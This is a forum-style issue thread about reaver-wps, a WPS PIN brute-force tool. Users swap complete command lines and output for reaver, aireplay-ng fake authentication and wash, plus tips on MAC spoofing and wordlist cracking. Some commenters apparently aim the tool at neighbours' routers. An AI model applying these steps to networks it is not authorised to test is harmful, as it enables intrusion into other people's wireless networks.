search

devilcoder / reaver-wps

Automatically exported from code.google.com/p/reaver-wps
0 stars 0 forks source link

[!] WARNING: Failed to associate #205

Open GoogleCodeExporter opened 9 years ago

GoogleCodeExporter commented 9 years ago 
Hi

I've been getting Failed to associate errors when I attempt this attack:

[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: (null))
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: (null))
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: (null))
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: (null))

Additional to this i've noticed some errors in dmesg:

[49069.622091] ieee80211 phy1: invalid plcp cck rate (0).
[49080.404003] ieee80211 phy1: invalid plcp cck rate (0).
[49082.728860] ieee80211 phy1: invalid plcp cck rate (0).
[49086.812615] ieee80211 phy1: invalid plcp cck rate (0).
[49087.233907] ieee80211 phy1: invalid plcp cck rate (0).
[49089.606177] ieee80211 phy1: invalid plcp cck rate (0).

I have not been able to find a conclusive reason or fix for these errors.

0. What version of Reaver are you using?  (Only defects against the latest
version will be considered.)

1.4

1. What operating system are you using (Linux is the only supported OS)?

Backtrack5r1

2. Is your wireless card in monitor mode (yes/no)?

yes

3. What is the signal strength of the Access Point you are trying to crack?

-31

4. What is the manufacturer and model # of the device you are trying to
crack?

Ubiquiti SR71-USB

5. What is the entire command line string you are supplying to reaver?

reaver -i mon0 -b XX:XX:XX:XX:XX:XX 

6. Please describe what you think the issue is.

No idea

7. Paste the output from Reaver below.

[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: (null))
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: (null))
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: (null))
[!] WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: (null))

Original issue reported on code.google.com by raz...@gmail.com on 31 Jan 2012 at 12:52

GoogleCodeExporter commented 9 years ago 
put all manually like essid and channel

Original comment by scotfis...@gmail.com on 31 Jan 2012 at 3:05

GoogleCodeExporter commented 9 years ago 
[deleted comment]
GoogleCodeExporter commented 9 years ago 
I just tried 

reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -p name -vv

with the same result.

Original comment by raz...@gmail.com on 31 Jan 2012 at 3:37

GoogleCodeExporter commented 9 years ago 
are you spoofing your mac address?

Original comment by damonswi...@gmail.com on 31 Jan 2012 at 9:47

GoogleCodeExporter commented 9 years ago 
Nope, Other than putting the interface into monitor mode, i'm not messing with 
the network settings at all. 

Some information I forgot to add is that i'm running bt5r1 in vmware fusion on 
OS X Snow Leopard.

Original comment by raz...@gmail.com on 31 Jan 2012 at 7:09

GoogleCodeExporter commented 9 years ago 
[deleted comment]
GoogleCodeExporter commented 9 years ago 
Try to use the -A option with aireplay-ng.

reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -e network_name -vv -A

aireplay-ng -1 30 -a "mac AP" -h "mac client" -e "network name" mon0

sometimes aireplay-ng does listen on a wrong channel.
Simply run airodump-ng once on the right channel to fix that.

airodump-ng -c 11 wlan0

Original comment by hurenhan...@googlemail.com on 1 Feb 2012 at 11:48

GoogleCodeExporter commented 9 years ago 
sudo wash -i mon0   ,,if essid does not show,,then wps is not active

Original comment by damon.py...@gmail.com on 2 Feb 2012 at 3:15

GoogleCodeExporter commented 9 years ago 
To associate has nothing to do with wps.

Original comment by hurenhan...@googlemail.com on 2 Feb 2012 at 3:44

GoogleCodeExporter commented 9 years ago 
Thanks for the help guys.

I'd did the wash -i mon0 trick and found the access point I was testing didn't 
have wps enabled. Finding another one that did got association immediately.

What I get now is a whole lot of:

[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred.   

grr...

Original comment by raz...@gmail.com on 3 Feb 2012 at 9:12

GoogleCodeExporter commented 9 years ago 
it says right on the aireplay wiki page that a Fake Auth using aireplay will 
NOT work with WPA/WPA2 access points.... read before you post silly things.

Original comment by erton...@gmail.com on 16 Jul 2012 at 1:51

GoogleCodeExporter commented 9 years ago 
RE: erton...@gmail.com  he is not asking about aireplay but he is asking about 
"Reaver" so read before you post silly answers.

RE: to OP, i was having the same issue as you are, and I used airplay like 
people said, which can associate with WPA2, and now reaver works, but i think 
you need to run aireplay from time to time to re-associate.

Output from aireplay running against my AP that only serv WPA2/AES:
13:45:19  Sending Authentication Request (Open System) [ACK]
13:45:19  Authentication successful
13:45:19  Sending Association Request [ACK]
13:45:19  Association successful :-) (AID: 1)

Output from reaver after running aireplay:
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[+] Switching mon0 to channel 11
[+] Associated with xx:xx:xx:xx:xx:xx (ESSID: xxxxxx)
[+] Trying pin 12345670

Original comment by fadvisor...@gmail.com on 2 Aug 2012 at 5:53

GoogleCodeExporter commented 9 years ago 
whenever i try the aireplay association thing I get various looping errors but 
NO progress. running bt5 with b43

Original comment by metaltu...@gmail.com on 13 Sep 2012 at 3:18

GoogleCodeExporter commented 9 years ago 
I used to have the same problem as OP while using Reaver on my router, then I 
used aireplay-ng to associate and managed to do so - but not quite. This is 
what I get:

03:24:33  Sending Authentication Request (Open System) [ACK]
03:24:33  Authentication successful
03:24:33  Sending Association Request [ACK]
03:24:33  Denied (code 12), wrong ESSID or WPA ?

Also, Reaver gets passed the original problem and is now stuck at this:

[+] Waiting for beacon from 00:1D:68:FC:0D:30
[+] Associated with 00:1D:68:FC:0D:30 (ESSID: SpeedTouch)

Any ideas? The router indeed does not show when i use wash, but I was 
optimistic when Reaver managed to associate with it (did it?)

Original comment by zivkovic...@gmail.com on 28 Sep 2012 at 1:30

GoogleCodeExporter commented 9 years ago 
I made some progress on the issue: spoofing the interface mac address to a 
client already connected to the AP got me success at associating using 
aireplay-ng:

03:42:58  Sending Authentication Request (Open System) [ACK]
03:42:58  Authentication successful
03:42:58  Sending Association Request [ACK]
03:42:58  Denied (code 12), wrong ESSID or WPA ?

03:43:01  Sending Authentication Request (Open System) [ACK]
03:43:01  Authentication successful
03:43:01  Sending Association Request [ACK]
03:43:01  Association successful :-) (AID: 1)

As for Reaver, it still didn't get passed the lines in my post before this one, 
but when I used -L, this is what started to happen:

[+] Switching mon4 to channel 1
[+] Waiting for beacon from 00:1D:68:FC:0D:30
[+] Associated with 00:1D:68:FC:0D:30 (ESSID: SpeedTouch)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred

Original comment by zivkovic...@gmail.com on 28 Sep 2012 at 1:49

GoogleCodeExporter commented 9 years ago 
Here me to having same kind of problem don't know how to figure it out help me 
guys
[+] Waiting for beacon from 08:86:3B:8C:DB:59
[+] Switching mon0 to channel 1
[!] WARNING: Failed to associate with 08:86:3B:8C:DB:59 (ESSID: 
belkin.b58.guests)
[!] WARNING: Failed to associate with 08:86:3B:8C:DB:59 (ESSID: 
belkin.b58.guests)
[!] WARNING: Failed to associate with 08:86:3B:8C:DB:59 (ESSID: 
belkin.b58.guests)
[!] WARNING: Failed to associate with 08:86:3B:8C:DB:59 (ESSID: 
belkin.b58.guests)
[!] WARNING: Failed to associate with 08:86:3B:8C:DB:59 (ESSID: 
belkin.b58.guests)
it's goes on and on..

Original comment by arujpara...@gmail.com on 13 Nov 2012 at 12:42

GoogleCodeExporter commented 9 years ago 
Hey ziv I'm getting the same problem as you, reaver is stalling after it makes 
an association, made any progress yet?

Original comment by yahtzee...@gmail.com on 5 Dec 2012 at 2:52

GoogleCodeExporter commented 9 years ago 
I am afraid I made no further progress. It would seem that if the router you 
are targeting does not show when you use 'wash', reaver can't work with it.

Original comment by zivkovic...@gmail.com on 5 Dec 2012 at 9:22

GoogleCodeExporter commented 9 years ago 
same problem

Original comment by lokomoti...@gmail.com on 9 Dec 2012 at 3:00

GoogleCodeExporter commented 9 years ago 
anyone any idea why this message pops up "WARNING: Failed to associate with"

Original comment by lokomoti...@gmail.com on 9 Dec 2012 at 3:02

GoogleCodeExporter commented 9 years ago 
If you are using mac spoofing, try disabling it.

Original comment by christop...@gmail.com on 6 Feb 2013 at 1:44

GoogleCodeExporter commented 9 years ago 
[deleted comment]
GoogleCodeExporter commented 9 years ago 
may be you are attacking router without WPS function or disabled WPS function.

Original comment by saznlam...@gmail.com on 1 Mar 2013 at 12:59

GoogleCodeExporter commented 9 years ago 
Dear 
check the WPS , if is it disabled , you cannot with reaver , You should go for 
aircrack with a good wordlist

Original comment by kanzaman...@gmail.com on 4 May 2013 at 11:46

GoogleCodeExporter commented 9 years ago 
the same problem
aircrack with a good word list you must 1 year for crack it ??????
i can't crack with anyway  !!!!!!!!!!!

Original comment by khalil.a...@gmail.com on 6 May 2013 at 10:33

GoogleCodeExporter commented 9 years ago 
If WPS is disabled you have to use your wordlist with aircrack-ng ,else you can 
use reaver to get the pin and key... nothing it easy !

Original comment by shineyou...@gmail.com on 26 May 2013 at 5:19

GoogleCodeExporter commented 9 years ago 
same problem

Original comment by lelmi.le...@gmail.com on 8 Jun 2013 at 2:43

GoogleCodeExporter commented 9 years ago 
I believe this happens because the AP turns of the WPS function after so many 
failed attempts.

Original comment by russo...@gmail.com on 3 Oct 2013 at 4:02

GoogleCodeExporter commented 9 years ago 
hello all,

i am running reaver like this:
reaver -i mon0 -b 7C:05:07:6F:AB:27 -c 1 -e xxxxxxxx -vv -A

i get:
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
......
....
...

and data from kismet:
Network 26: BSSID 7C:05:07:6F:AB:27
 Manuf      : Unknown
 First      : Sun Nov 10 22:34:31 2013
 Last       : Sun Nov 10 23:19:31 2013
 Type       : infrastructure
 BSSID      : 7C:05:07:6F:AB:27
   SSID 1
    Type       : Beacon
    SSID       : "xxxxxx" 
    First      : Sun Nov 10 22:34:31 2013
    Last       : Sun Nov 10 23:19:31 2013
    Max Rate   : 54.0
    Beacon     : 10
    Packets    : 1727
    Encryption : WPA+PSK
    Encryption : WPA+TKIP
    Encryption : WPA+AES-CCM
 Channel    : 1
 Frequency  : 2412 - 1723 packets, 99.77%
 Frequency  : 2422 - 3 packets, 0.17%
 Frequency  : 2447 - 1 packets, 0.06%
 Max Seen   : 1000
 LLC        : 1727
 Data       : 0
 Crypt      : 0
 Fragments  : 0
 Retries    : 0
 Total      : 1727
 Datasize   : 0
 Last BSSTS : 371379917190
    Seen By : wlan1 (wlan1mon) e227fe8c-4a4f-11e3-b740-dd04bc23e301 1727 packets

Thanx

Original comment by w4d4...@gmail.com on 10 Nov 2013 at 11:46

GoogleCodeExporter commented 9 years ago 
I am getting this error on Reaver Pro 2. Any advice as there is no command in 
Reaver Pro 2?

Original comment by massimoz...@gmail.com on 16 Dec 2013 at 3:18

GoogleCodeExporter commented 9 years ago 
Just realised if I pause and restart Reaver then this problem goes away. That's 
annoying. So I can't leave Reaver to crack this as it might come up with this 
problem! :(

Original comment by massimoz...@gmail.com on 16 Dec 2013 at 3:22

GoogleCodeExporter commented 9 years ago 
http://code.google.com/p/reaver-wps/issues/detail?id=167

Original comment by henryowe...@yahoo.com on 31 Dec 2013 at 12:57

GoogleCodeExporter commented 9 years ago 
i have problem with:
[!] WARNING: Failed to associate with..... 
too, but i have external wi-fi card and reaver works perfectly on internal card 
can associate and everything, but doesn't work on external one just
[!] WARNING: Failed to associate with
all the time, card is: Ralink RT2870/3070

Original comment by mat...@gmail.com on 26 May 2014 at 5:00

GoogleCodeExporter commented 9 years ago 
Hello guys,
I am also having the same issue, although I am new to linux.

sudo reaver -i mon0 -b 90:F6:52:60:4C:4E -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from 90:F6:52:60:4C:4E
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))

:(

Original comment by aslammaq...@gmail.com on 8 Jul 2014 at 4:20

GoogleCodeExporter commented 9 years ago 
You need to find a way to add variables into the program.. I have not used 
Reaver pro, so I'm sorry I can't help you more there; but, I have this problem 
all the time hacking with Kali, and I just use different combinations of 
variables to fix different things. For example:
--eap-terminate - helps with the EAPOL start request error.
--no-nacks - helps if you see a lot of send/recieve messages, it supposedly 
keeps nacks from being sent out of order from the rest..
-r 3:10 - recurring delay (for every 3 pin attempts, pause for 10 seconds 
before trying more.. this is what would help, you said pausing reaver and 
starting again.. I have had this problem, expecially with older, slower 
routers..)

reaver -h - read them all, I have spent hours, and hours reading through and 
trying all of these..

Original comment by joshsw...@gmail.com on 16 Jul 2014 at 1:10

GoogleCodeExporter commented 9 years ago 
I dont believe its the target router as in my range there are 8 different 
routers, all in different apartments, all incredible signal and i ran reaver 
for 12 hours, repeated failure to associate and always retrying last pin 
12345670
very frustrating, its not the target router unless everyone in my building has 
the exact same crappy router..
UGHHHHH 
very very frustrating..

Original comment by SOSRoc...@gmail.com on 25 Jul 2014 at 2:40

GoogleCodeExporter commented 9 years ago 
#29 w4d4...@gmail.com
hello all,

i am running reaver like this:
reaver -i mon0 -b 7C:05:07:6F:AB:27 -c 1 -e xxxxxxxx -vv -A

change the number 1 to the channel of the wifi you want to attack, then the 
xxxxxxxx chande it to it's SSID

Original comment by fireinth...@gmail.com on 10 Aug 2014 at 7:06

GoogleCodeExporter commented 9 years ago 
how i can know if WPS is activated????

Original comment by dguez.al...@gmail.com on 21 Sep 2014 at 10:44

GoogleCodeExporter commented 9 years ago 
wash -i monX

Original comment by Jakub.Wa...@gmail.com on 16 Oct 2014 at 12:15

GoogleCodeExporter commented 9 years ago 
hello guys, i have the same problem about reaver, when i try to crack my AP sky
input "revaer -i mon0 -c 11 -b XXXXXXXXX -vv"
and than 
output 
[+] Waiting for beacon from 90:F6:52:60:4C:4E
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
[!] WARNING: Failed to associate with 90:F6:52:60:4C:4E (ESSID: (null))
why?, the WPS is not locked i don't know what is the problem, my card works!
thanks guys :)

Original comment by mikaelpr...@gmail.com on 28 Oct 2014 at 2:34

GoogleCodeExporter commented 9 years ago 
hello

I find the solution I just add -v -v and it work fine ^^

revaer -i mon0 -c X -b XXXXXXXXX -v -v -A -p PIN -vv

Try it :)

Original comment by kari...@gmail.com on 30 Dec 2014 at 10:59

GoogleCodeExporter commented 9 years ago 
[deleted comment]
GoogleCodeExporter commented 9 years ago 
hello guys 
Please help me
reaver -i mon0 -c 6 -e network_name -b xx xx xx xx xx -vv

switching mon0 to channel 6
Waiting for beacon from 72:68:D3:94:2A:A8
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)
[!] WARNING: Failed to associate with XX XX XX XX XX XX (ESSID: (name)

Original comment by zizonamo...@gmail.com on 25 Jan 2015 at 12:41

GoogleCodeExporter commented 9 years ago 
I have a very similar issue
Mine gets stuck at Trying Pin xxxxxx
then I have to quit and re associate for it to work :/ 
is there a script or something that can do it automatically. ? 
So I can leave it over it night .

Original comment by fraf...@gmail.com on 15 Feb 2015 at 12:46

GoogleCodeExporter commented 9 years ago 
[deleted comment]
GoogleCodeExporter commented 9 years ago 
hi everyone there ,i think i found a solution 

first see wash -i mon0
check wps enabled 
then new terminal ,reaver -i mon(0 or 1 (depends on ur interface ,check on iw 
config ull come to know which)) -b (bssid) -c (channel) -n -a
see if u get associated or else press ctrl+c

then new terminal , aireplay-ng -1 6000 -o 1 -q 10 -e (essid) -a (bssid) -h (ur 
mac )  mon(0 or 1)

and then check if it says something like this 

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

if not refer this page for other types of authentication 
http://www.aircrack-ng.org/doku.php?id=fake_authentication

if succesfully authenticated then leave this as it is and start reaver again it 
will get associated if u are interested in hacking wpa differently then go 
through this page
https://www.packtpub.com/books/content/backtrack-5-attacking-client

Original comment by deepakbs...@gmail.com on 28 Feb 2015 at 8:09